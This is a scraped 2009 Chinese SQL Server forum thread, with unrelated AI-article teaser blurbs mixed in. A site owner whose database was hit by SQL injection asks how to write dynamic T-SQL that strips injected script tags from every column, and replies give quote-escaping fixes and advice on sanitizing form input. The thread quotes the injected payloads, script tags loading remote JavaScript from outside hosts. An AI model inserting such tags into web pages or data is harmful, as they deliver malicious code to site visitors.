看看这个语句带<>=符号怎么写？在线等待。高分求救。请求立即回复。

2009-01-16 12:02:00 338 阅读 AI 写同款 · GEO 优化AI 选题数据监测一键分发 ›

Grok-4实测：高分benchmark与真实推理的断层分析大语言模型的数学推理能力，本质是符号操作、逻辑链构建与现实语义映射的综合体现。其核心原理在于训练数据中的模式覆盖度、推理路径的可追溯性，以及对隐含约束（如坐标系一致性、折叠几何直觉）的建模深度。技术价值不仅体现在AIME等封闭评测分数上，更在于能否支撑工程级数学建模、中文技术文档生成与可维护代码输出。典型应用场景包括高校数学辅助教学、AI工具选型评估、提示词工程避坑实践。本文基于1984年高考压轴题与Pygame小球碰撞等开箱即用实测，揭示Grok-4在数学推导断裂、中文语义脱钩两大关键热词维度上的系统性短阅读详情

看看这个语句带<>=符号怎么写？在线等待。高分求救。请求立即回复。
服务器被sqlin，需要replace表里所有字段。

update buss set 企业名称=replace(企业名称,'<script src=http://3bomb.%63%6Fm/c.js></script><script src=http://3bomb.%63%6Fm/c.js></script><script src=http://3bomb.%63%6Fm/c.js></script><script src=http://3bomb.%63%6Fm/c.js></script>','')

这样写可以

declare @s varchar(8000)

select @s=isnull(@s,'')+'update buss set '+name+'=replace('+name+','<script src=http://3bomb.%63%6Fm/c.js>','')' from syscolumns where id=object_id('buss') 

print @s

exec(@s)

但是这样就不行了。似乎是到<或者=就被误识别了。
提示
消息 102，级别 15，状态 1，第 2 行
'<' 附近有语法错误。

紧急求救。。。。

...全文

AI视频生成成本优化实战：混合架构与硬件选型 AI视频生成技术正面临效果与成本的二元博弈，其核心挑战在于高昂的推理算力消耗与黑箱服务的不确定性。从技术原理看，视频生成依赖扩散模型等深度学习架构，通过多轮迭代实现像素级合成，这导致GPU显存占用和电力消耗呈指数级增长。在工程实践中，采用混合推理架构能有效平衡成本与质量，例如云端处理关键帧配合本地渲染过渡帧，实测可降低58%支出。硬件选型方面，消费级显卡魔改与边缘计算设备为中小企业提供了可行方案，如RTX 3090显存扩容或Jetson AGX边缘部署。当前AI视频应用已渗透电商直播、新闻制作等领域，但需警阅读详情

cbxmir

MS-SQL Server 34,876 成员 254,635 内容

+ 关注 + 加入社区

切换为时间正序

cbxmir 2009-01-17

打赏
举报

估计是我自己的问题。
只处理了Request.QueryString，忘记处理Request.Form了。还是不停的被注入。

cqsxdb 2009-01-17

打赏
举报

noenoughmemory 2009-01-17

打赏
举报

幸运的意外 2009-01-17

打赏
举报

select @s=isnull(@s,'')+'update buss set '+name+'=replace('+name+',''<script src=http://3bomb.%63%6Fm/c.js>'','''')' from syscolumns where id=object_id('buss')

也可以考虑使用系统存储过程sp_executesql来实现，减少注入攻击现象。

npkaida 2009-01-16

打赏
举报



declare @s varchar(8000)

select @s=isnull(@s,'')+'update buss set '+name+'=replace('+name+','''<script src=http://3bomb.%63%6Fm/c.js>''','')' from syscolumns where id=object_id('buss') 

print @s

exec(@s)

faith10099 2009-01-16

打赏
举报

将字符串的单引号内加一双引号 '"<...=...>"'

mathsfan 2009-01-16

打赏
举报

up.....

claro 2009-01-16

打赏
举报

看来流行sqlin a。

dawugui 2009-01-16

打赏
举报

[Quote=引用 4 楼 cbxmir 的回复:]
错误啊。。。

消息 16950，级别 16，状态 2，过程 sp_MSforeach_worker，第 27 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16950，级别 16，状态 2，过程 sp_MSforeach_worker，第 32 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16950，级别 16，状态 2，过程 sp_MSforeach_worker，第 153 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16916，级别 16，状态 1，过程 sp_MSforeach_worker，第 155 行
名为 'hCForEachDatabase' 的游标不存在。
[/Quote]
我这是2000下的代码,是测试过的,没有问题.2005不适合.

cbxmir 2009-01-16

打赏
举报

[Quote=引用 1 楼 dawugui 的回复:]
数据库被注入攻击所有文本型字下段数据都被加了 <script_src=http://ucmal.com/0.js> </script>
怎么删掉？

SQL code
DECLARE @fieldtype sysname
SET @fieldtype='varchar'

--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
…
[/Quote]

错误啊。。。

消息 16950，级别 16，状态 2，过程 sp_MSforeach_worker，第 27 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16950，级别 16，状态 2，过程 sp_MSforeach_worker，第 32 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16950，级别 16，状态 2，过程 sp_MSforeach_worker，第 153 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16916，级别 16，状态 1，过程 sp_MSforeach_worker，第 155 行
名为 'hCForEachDatabase' 的游标不存在。

子陌红尘 2009-01-16

打赏
举报

declare @s varchar(8000)

select @s=isnull(@s,'')+'update buss set '+name+'=replace('+name+',''<script src=http://3bomb.%63%6Fm/c.js>'','''')' from syscolumns where id=object_id('buss') 

print @s

exec(@s)

dawugui 2009-01-16

打赏
举报

SQL注入专题
http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html

dawugui 2009-01-16

打赏
举报

数据库被注入攻击所有文本型字下段数据都被加了 <script_src=http://ucmal.com/0.js> </script>
怎么删掉？



DECLARE @fieldtype sysname

SET @fieldtype='varchar'



--删除处理

DECLARE hCForEach CURSOR GLOBAL

FOR

SELECT N'update '+QUOTENAME(o.name)

    +N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'

FROM sysobjects o,syscolumns c,systypes t

WHERE o.id=c.id 

    AND OBJECTPROPERTY(o.id,N'IsUserTable')=1

    AND c.xusertype=t.xusertype

    AND t.name=@fieldtype

EXEC sp_MSforeach_Worker @command1=N'?'

nalnait 2009-01-16

打赏
举报

[Quote=引用 12 楼 cbxmir 的回复:]
还是没有完美的解决办法。。哎
朋友们继续帮帮忙吧。

我就很奇怪。所有的连接数据库的语句都通过conn conn里加了筛选 update 他怎么可能写进去呢。。
[/Quote]
SQL 注入---查查这方面的资料吧

参考：http://topic.csdn.net/u/20090114/22/1ff49029-695c-4251-b767-74fefc3513ad.html

cbxmir 2009-01-16

打赏
举报

还是没有完美的解决办法。。哎
朋友们继续帮帮忙吧。

我就很奇怪。所有的连接数据库的语句都通过conn conn里加了筛选 update 他怎么可能写进去呢。。

herv2002 2009-01-16

打赏
举报

看来注入问题必须加强防范

bluefangxiao 2009-01-16

打赏
举报

看看这个语句带<>=符号怎么写？在线等待。高分求救。请求立即回复。

相关推荐